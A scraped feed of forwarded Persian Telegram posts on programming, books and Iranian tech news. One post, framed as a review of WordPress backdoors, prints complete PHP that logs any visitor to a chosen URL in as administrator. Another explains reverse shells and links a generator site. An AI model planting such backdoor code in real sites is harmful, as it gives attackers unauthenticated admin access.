Forwarded from Pishro App
سلام دوستان
🔤 🔤 🔤 یه ویژگی جدید تو php8.4 اضافه شده بنام Instance Method Chaining Without Parentheses
اما هدف این ویژگی چیه؟
⚡️ هدف این ویژگی ساده کردن نوشتن کد هست وقتی که داریم از method chaining استفاده میکنیم.
این یعنی چی؟
ببینید همونطور که میدونیم تا قبل از PHP 8.4، برای ایجاد یک نمونه از یک کلاس و فراخوانی متدهای آن، باید از پرانتزها برای شیء تازهساختهشده استفاده میکردید تا متدها را زنجیرهسازی کنید.
مثال:
ولی حالا تو php 8.4 به این صورت میشه:
و دیگه نیازی به استفاده از پرانتر نیست
🔥 خوب این ویژگی به سادگی و خوانایی کد اضافه میکنه و پیچیدگی رو کمتر میکنه
#php
👾 @pishroapp
اما هدف این ویژگی چیه؟
این یعنی چی؟
ببینید همونطور که میدونیم تا قبل از PHP 8.4، برای ایجاد یک نمونه از یک کلاس و فراخوانی متدهای آن، باید از پرانتزها برای شیء تازهساختهشده استفاده میکردید تا متدها را زنجیرهسازی کنید.
مثال:
$name = (new ReflectionClass($objectOrClass))->getShortName();
ولی حالا تو php 8.4 به این صورت میشه:
$name = new ReflectionClass($objectOrClass)->getShortName();
و دیگه نیازی به استفاده از پرانتر نیست
#php
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Available Unknown (♪ Ayhan)
رایش_سوم_از_مسکو_تا_استالین_گراد_ویلیام_شایرر.zip
2.5 MB
از مسکو تا استالین گراد | ویلیام شایرر
- تا پایان ماه سپتامبر سال 1941 فشار بر همه قسمت های جبهه شوروی به نحو محسوسی کاهش یافت و خطوط دفاعی تمرکز گرفتند. نیروی های آلمانی در دو ماه و نیم اول جنگ با موفقیت های چشمگیری روبرو شدند، آنها روسیه سفید، مولداوی، قسمت عظیمی از اوکرایین، لیتوانی، لاتاویا، استونی را اشغال کردند، و لنینگراد را محاصره نمودند و تا پایان سپتامبر نیروهای زیادی را تا حوالی مسکو رسانیده بودند و قصد دستیابی بر پایتخت شوروی را داشتند.
#my_book
- تا پایان ماه سپتامبر سال 1941 فشار بر همه قسمت های جبهه شوروی به نحو محسوسی کاهش یافت و خطوط دفاعی تمرکز گرفتند. نیروی های آلمانی در دو ماه و نیم اول جنگ با موفقیت های چشمگیری روبرو شدند، آنها روسیه سفید، مولداوی، قسمت عظیمی از اوکرایین، لیتوانی، لاتاویا، استونی را اشغال کردند، و لنینگراد را محاصره نمودند و تا پایان سپتامبر نیروهای زیادی را تا حوالی مسکو رسانیده بودند و قصد دستیابی بر پایتخت شوروی را داشتند.
#my_book
Forwarded from Linuxor ?
برقی ها یه نرم افزار دارن به اسم CodeVision که باهاش برای میکروکنترلر ها با زبان C برنامه مینویسن؛
جالب اینجاست این برنامه اصلا به indent اعتقادی نداره یعنی هر لاین خط کدی که مینویسی از ابتدای خط جدید مثل Text Editor مینویسه، اگه قبلش پایتون کار کرده باشی قشنگ برنامش میره رو مخت😂😂
🐧 @Linuxor
جالب اینجاست این برنامه اصلا به indent اعتقادی نداره یعنی هر لاین خط کدی که مینویسی از ابتدای خط جدید مثل Text Editor مینویسه، اگه قبلش پایتون کار کرده باشی قشنگ برنامش میره رو مخت😂😂
🐧 @Linuxor
Forwarded from متخصص وردپرس | پوینا
آروان یه چیز جالب منتشر کرده
تابستان 1403 یعنی توی 3 ماه
237 درخواست سو استفاده به اروان ارسال شده که 6 تاش از ایران بوده
درخواست حق مالیکت هم که از طرف اشخاص حقیقی، حقوقی یا مراجع رسمی داخلی و بینالمللی بهدلیل نقض حق مالکیت معنوی و تجاری یا حق نشر ارسال میشود 46 تا ارسال شده که 2تاش برای ایران بوده
دستور قضایی هم که 86 تا بوده که همش از ایران بوده
فقط 20 از این درخواست ها رد شده
یعنی ببنید چقدر ایرانیا کپی میکنن سایر کشور ها هی میان میگن کپی میکنید پاکش کنید
البته تا وقتی تحریم هستید هر چقدر دلتون خواست کپی کنید
@poinair پوینا
تابستان 1403 یعنی توی 3 ماه
237 درخواست سو استفاده به اروان ارسال شده که 6 تاش از ایران بوده
درخواست حق مالیکت هم که از طرف اشخاص حقیقی، حقوقی یا مراجع رسمی داخلی و بینالمللی بهدلیل نقض حق مالکیت معنوی و تجاری یا حق نشر ارسال میشود 46 تا ارسال شده که 2تاش برای ایران بوده
دستور قضایی هم که 86 تا بوده که همش از ایران بوده
فقط 20 از این درخواست ها رد شده
یعنی ببنید چقدر ایرانیا کپی میکنن سایر کشور ها هی میان میگن کپی میکنید پاکش کنید
البته تا وقتی تحریم هستید هر چقدر دلتون خواست کپی کنید
@poinair پوینا
Forwarded from REGA Book 📚
- کتاب صوتی "از دو که حرف میزنم از چه حرف میزنم".
پیش گفتار: رنج کشیدن اختیاریست.
گوینده: Sanny
نویسنده: هاروکی موراکامی
🌿 لینک یوتیوب
❤️ Likes + Subscribe ✅
🔗 www.youtube.com/@REGA-book
🛎 @REGABOOK
پیش گفتار: رنج کشیدن اختیاریست.
گوینده: Sanny
نویسنده: هاروکی موراکامی
🌿 لینک یوتیوب
❤️ Likes + Subscribe ✅
🔗 www.youtube.com/@REGA-book
🛎 @REGABOOK
Forwarded from REGA Book 📚
- فصل اول (پارت یک) کتاب صوتی "از دو که حرف میزنم از چه حرف میزنم".
🗣 Announcer: Sanny
👨🏫 Author: Haruki Murakami
🌿 YouTube link
❤️ Likes + Subscribe ✅
🔗 www.youtube.com/@REGA-book
🛎 @REGABOOK
🗣 Announcer: Sanny
👨🏫 Author: Haruki Murakami
🌿 YouTube link
❤️ Likes + Subscribe ✅
🔗 www.youtube.com/@REGA-book
🛎 @REGABOOK
Forwarded from DevTwitter | توییت برنامه نویسی
This media is not supported in your browser
VIEW IN TELEGRAM
این ریپو تمام الگوریتم ها را با python پیاده سازی کرده. یک منبع عالی آموزشی برای یادگیری data structures و کلا الگوریتم.
https://github.com/TheAlgorithms/Python
@DevTwitter | <Mehdi Allahyari/>
https://github.com/TheAlgorithms/Python
@DevTwitter | <Mehdi Allahyari/>
Forwarded from Woland's Linux Journal (Woland)
This media is not supported in your browser
VIEW IN TELEGRAM
آیا زیبا نیست؟
باران دیجیتال ماتریکس در ۸۰ خط کد بش.
توی این اسکریپت از قابلیت Alt Screen ترمینال استفاده کردم تا بعد از اجرای اسکریپت، محتوای قبلی ترمینال حفظ شده باشه.
این همون چیزیه که برنامههای ترمینالی مثل Vim و HTop استفاده میکنند.
همچنین با استفاده از یک اسکریپت کمکی رنگهای قبلی ترمینال رو برمیگردونیم.
این اسکریپت هیج وابستگی خاصی نداره و کافیه توی یک ترمینال خوب ( ترمینال خوب یعنی XTerm ) باشید و فونتی داشته باشین که کاراکترهای ژاپنی کاتاکانا رو پشتیبانی کنه، مثل IBM Plex یا Roboto.
👉🔗 Github
#بش
#ماتریکس
#bash #matrix
باران دیجیتال ماتریکس در ۸۰ خط کد بش.
توی این اسکریپت از قابلیت Alt Screen ترمینال استفاده کردم تا بعد از اجرای اسکریپت، محتوای قبلی ترمینال حفظ شده باشه.
این همون چیزیه که برنامههای ترمینالی مثل Vim و HTop استفاده میکنند.
همچنین با استفاده از یک اسکریپت کمکی رنگهای قبلی ترمینال رو برمیگردونیم.
این اسکریپت هیج وابستگی خاصی نداره و کافیه توی یک ترمینال خوب ( ترمینال خوب یعنی XTerm ) باشید و فونتی داشته باشین که کاراکترهای ژاپنی کاتاکانا رو پشتیبانی کنه، مثل IBM Plex یا Roboto.
با استفاده از یک کلک هوشمندانه،نیاز به tput رو از بین بردم و از متغیرهای LINES و COLUMNS استفاده کردم. این متغیرها هنگام تعامل کاربر با ترمینال ست میشن و به همین خاطر استفاده ازشون توی اسکریپت کمی زیرکی میخواد.
با استفاده از یک No Op ترمینال رو گول میزنیم تا توهم تعامل بزنه (😂) و متغیرها رو ست کنه.
میتونستیم از
`/usr/bin/true`
هم استفاده کنیم ولی خیلی کار جالبی نیست!
👉🔗 Github
#بش
#ماتریکس
#bash #matrix
Forwarded from DevTwitter | توییت برنامه نویسی
توی توسعه دیتابیس، انتخاب نوع دادهها یکی از بخشهای مهم و حساسه. امروز یه چیت شیت و از انواع ستونهای عددی و متنی در Laravel آوردم تا راحتتر تصمیمگیری کنیم که چه نوعِ دادهای، برای داده مدنظرمون کاربردی و مناسبتره
این چیت شیت برای کسانی که مثل من از حافظه کوتاهمدت رنج میبرن (دلیلی که باعث شد اصلا به فکر ساخت این چیت شیت بیوفتم)، میتونه بیشتر از بقیه دوستان مفید باشه
@DevTwitter | <Amir Asgary/>
این چیت شیت برای کسانی که مثل من از حافظه کوتاهمدت رنج میبرن (دلیلی که باعث شد اصلا به فکر ساخت این چیت شیت بیوفتم)، میتونه بیشتر از بقیه دوستان مفید باشه
@DevTwitter | <Amir Asgary/>
Forwarded from نوشتههای ترمینالی
اگر دوست داشتید Reverse Shell رو پیگیری کنید. هکر کاری میکنه که سیستم قربانی خودش به سمت هکر وصل بشه و میتونه کنترل سیستم رو از راه دور به دست بگیره. اینطوری فایروال ها خیلی کمتر جلوش رو میگیرن.
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
این هم سایت باحالی بود در این زمینه
https://revshells.com
با تشکر از دوست قديميم امیر میرزایی عزیز #ارسالی
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
این هم سایت باحالی بود در این زمینه
https://revshells.com
با تشکر از دوست قديميم امیر میرزایی عزیز #ارسالی
Acunetix
What Is a Reverse Shell Attack? - Examples, Techniques, Prevention
To gain control over a compromised system, an attacker usually aims to gain interactive shell access for arbitrary command execution. With such access, they can try to elevate their privileges to obtain full control of the operating system. However, most…
Forwarded from DevTwitter | توییت برنامه نویسی
طلایی ترین لیست وبلاگها برنامه نویسان شرکتهای بزرگ دنیا مثل Google و . . .
در این لیست افرادی که تجربه کار کردن در شرکتهای بزرگ دارند اسم و لینکشون آورده شده
نفراول :
برنامه نویس شرکت TripAdvisor
هم مقالات فنی و هم مهارت نرم رو پوشش میده
https://dandreamsofcoding.com/
نفر دوم :
خالق الگوریتمی که در تمامی سیستم های recommender در شرکت بزرگ ازش استفاده میشه
https://lemire.me/blog/
نفر سوم :
از ایشون مگه بالاتر داریم ؟ CEO شرکت Stack overflow
https://www.joelonsoftware.com/
نفر چهارم :
مهندس نرمافزار گوگل و خالق چند تا از بزرگترین پروژههای Open Source جهان
https://latedev.wordpress.com/
نفر پنجم :
یک از تاثیر گذاران محبوبیت Linux
https://www.linux.org/forums/
نفر ششم :
برنامه نویس Google و نوسینده چند کتاب مشهور در دنیا
https://www.jeremykun.com/
نفر هفتم :
خالق Viaweb نوسینده بزرگ در حیطه برنامه نویسی
https://paulgraham.com/articles.html
نفر هقتم :
متخصص و Director شرکت Huawei
https://www.yegor256.com/
نفر هشتم :
یک متخصص به تمام معنا
https://prog21.dadgum.com/
نفر نهم :
نوسینده کتاب Clean Code
https://blog.cleancoder.com/
نفرم دهم :
مهندس گوگل
https://stevehanov.ca/blog/
نفرم یازدهم :
مهندس شرکت Uber
https://blog.pragmaticengineer.com/
@DevTwitter | <Soheib Kiani/>
در این لیست افرادی که تجربه کار کردن در شرکتهای بزرگ دارند اسم و لینکشون آورده شده
نفراول :
برنامه نویس شرکت TripAdvisor
هم مقالات فنی و هم مهارت نرم رو پوشش میده
https://dandreamsofcoding.com/
نفر دوم :
خالق الگوریتمی که در تمامی سیستم های recommender در شرکت بزرگ ازش استفاده میشه
https://lemire.me/blog/
نفر سوم :
از ایشون مگه بالاتر داریم ؟ CEO شرکت Stack overflow
https://www.joelonsoftware.com/
نفر چهارم :
مهندس نرمافزار گوگل و خالق چند تا از بزرگترین پروژههای Open Source جهان
https://latedev.wordpress.com/
نفر پنجم :
یک از تاثیر گذاران محبوبیت Linux
https://www.linux.org/forums/
نفر ششم :
برنامه نویس Google و نوسینده چند کتاب مشهور در دنیا
https://www.jeremykun.com/
نفر هفتم :
خالق Viaweb نوسینده بزرگ در حیطه برنامه نویسی
https://paulgraham.com/articles.html
نفر هقتم :
متخصص و Director شرکت Huawei
https://www.yegor256.com/
نفر هشتم :
یک متخصص به تمام معنا
https://prog21.dadgum.com/
نفر نهم :
نوسینده کتاب Clean Code
https://blog.cleancoder.com/
نفرم دهم :
مهندس گوگل
https://stevehanov.ca/blog/
نفرم یازدهم :
مهندس شرکت Uber
https://blog.pragmaticengineer.com/
@DevTwitter | <Soheib Kiani/>
Forwarded from Meitix
۶۰ ۷۰ درصد باگ های امنیتی که ریپورت میشه بخاطر بحث پوینتر و رفرنس این داستانس. میرن تو یه خونه از رم یه چیز مینویسن.
علت اینکه rust میگن safeه همینه Ownershipاشه
علت اینکه rust میگن safeه همینه Ownershipاشه
Forwarded from Yasha
مسابقه الگوریتمی codocodile.ir که قراره تو دانشگاه شریف برگزار شه رو اومدم شرکت کنم دیدم فقط از زبانای C و Java و Python و ++C پشتیبانی میشه. آخه چرا باید زبانهای برنامه نویسی یه مسابقه محدود باشه؟ الان مثلا با Go یا Js نمیشه الگوریتم حل کرد؟🙄
Forwarded from متخصص وردپرس | پوینا
بریکس پی رونمایی شده و اگر رفتید کشور های عضو بریکس میتونید از فروشگاهی که از این کارت پشتیبانی میکنن خرید کنید
کشور های عضو بریکس
چین
روسیه
مصر
ایران
عربستان
امارات
برزیل
افریقای جنوبی
اتیوپی
و 17 کشور زیر بهطور رسمی درخواست عضویت داده اند
البته یه زمانی هتزنر آلمان اومد به ایرانی ها حساب داد ایرانی ها پول پرداخت نکردن الان هیچ ایرانی رو تایید نمیکنه
کاری نکنید پرتمون کنن بیرون تا اگر خرید آنلاینم باز شد بتونید استفاده کنید
@poinair پوینا
کشور های عضو بریکس
چین
روسیه
مصر
ایران
عربستان
امارات
برزیل
افریقای جنوبی
اتیوپی
و 17 کشور زیر بهطور رسمی درخواست عضویت داده اند
البته یه زمانی هتزنر آلمان اومد به ایرانی ها حساب داد ایرانی ها پول پرداخت نکردن الان هیچ ایرانی رو تایید نمیکنه
کاری نکنید پرتمون کنن بیرون تا اگر خرید آنلاینم باز شد بتونید استفاده کنید
@poinair پوینا
Forwarded from متخصص وردپرس | پوینا
بکدور های مدرن وردپرس (قسمت اول) ورود بدون پسورد و نام کاربری
از گذشته تا کنون بکدور های وردپرس پیشرفته و پیشرفته تر شدن اما به مرور زمان پیدا کردن و شناسایی بکدور ها سخت و سخت تر شده در قسمت هایی میخواهیم به بررسی بکدور های جدید وردپرس بپرداریم و ببینم چه اتفاقاتی افتاده
بکدور اول : این کد رو فاکشن قالب خودتون بزارید و جای عدد 1 آیدی ادمین وردپرستون رو قرار بدید
function auto_login_via_url() { if (!is_user_logged_in()) {if (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] == '/poina') {$user_id = 1;wp_set_auth_cookie($user_id, true);wp_redirect(home_url());exit(); }}}add_action('init', 'auto_login_via_url');
سپس هر سایتی دارید این لینک رو باز کنید
site.com/poina
جای site.com آدرس سایت خودتون بزارید
میبنید که بدون هیچ پسورد و نام کاربری به پیشخوان وردپرس لاگین میکنید البته وقت بشه راه های جلوگیری هر کدوم رو تک تک میگیم
@poinair پوینا
از گذشته تا کنون بکدور های وردپرس پیشرفته و پیشرفته تر شدن اما به مرور زمان پیدا کردن و شناسایی بکدور ها سخت و سخت تر شده در قسمت هایی میخواهیم به بررسی بکدور های جدید وردپرس بپرداریم و ببینم چه اتفاقاتی افتاده
بکدور اول : این کد رو فاکشن قالب خودتون بزارید و جای عدد 1 آیدی ادمین وردپرستون رو قرار بدید
function auto_login_via_url() { if (!is_user_logged_in()) {if (isset($_SERVER['REQUEST_URI']) && $_SERVER['REQUEST_URI'] == '/poina') {$user_id = 1;wp_set_auth_cookie($user_id, true);wp_redirect(home_url());exit(); }}}add_action('init', 'auto_login_via_url');
سپس هر سایتی دارید این لینک رو باز کنید
site.com/poina
جای site.com آدرس سایت خودتون بزارید
میبنید که بدون هیچ پسورد و نام کاربری به پیشخوان وردپرس لاگین میکنید البته وقت بشه راه های جلوگیری هر کدوم رو تک تک میگیم
@poinair پوینا
Forwarded from Dev (♪ Ayhan)
github.com/ayhan-dev/bot_telegram_php
فردا نسخه جدید v.2.2 عرضه میشه
ساعت 5 بعد از ظهر میتونید از طریق ترمینال آپدیت کنید
نظری پیشنهاد داشتید بگید
@Ayhan_dev
فردا نسخه جدید v.2.2 عرضه میشه
ساعت 5 بعد از ظهر میتونید از طریق ترمینال آپدیت کنید
prol update bot_telegram_php th47yfyk
نظری پیشنهاد داشتید بگید
@Ayhan_dev
Forwarded from Golden Code (علی 🇨🇴)
در لاراول، میتونیم یک متود ماکرو به نام response()->api() بسازیم که response های JSON رو سادهتر کنه !
این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظمتر و مدیریتش هم راحتتر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35
این کار به ما کمک میکنه تا تمام response ها یک فرمت مشخص داشته باشن و دیتایی مثل message و status رو به راحتی اضافه کنیم.
با این متود کدمون منظمتر و مدیریتش هم راحتتر میشه، response ها ساختاره مشخصی دارن و همچنین میتونه در کاهش خطاها کمک کنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنین👇🏾)
https://x.com/_newtonjob/status/1846642149766713372?t=lpRqAAcK8krM_ngIIS1MDQ&s=35
X (formerly Twitter)
Newton Job (@_newtonjob) on X
When building APIs, I mostly create a little response()->api() macro to simplify the json response and keep it consistent.
#Laravel
#Laravel
👍1
Forwarded from 🎄 یک برنامه نویس تنبل (The Lazy Raymond)
🔶 ۱۱ سال از راه اندازی وب سایت وایرناب می گذره
https://www.wirenab.ir/
این وب سایت در ۱۱ سال پیش که راه اندازی کردم و در یک سال بعد به ارزش ۱۵۰۰۰۰ تومان فروختم.
با همان ظاهر قالب صحیفه و وردپرس نسخه ۴ هست و صاحب این وب سایت هیچ وقت محتوا به روز نکرده و به حال خود رها کرده است.
چه زود گذشت.
#وردپرس
@TheRaymondDev
https://www.wirenab.ir/
این وب سایت در ۱۱ سال پیش که راه اندازی کردم و در یک سال بعد به ارزش ۱۵۰۰۰۰ تومان فروختم.
با همان ظاهر قالب صحیفه و وردپرس نسخه ۴ هست و صاحب این وب سایت هیچ وقت محتوا به روز نکرده و به حال خود رها کرده است.
چه زود گذشت.
#وردپرس
@TheRaymondDev
www.wirenab.ir
وایرناب
مرجع آموزش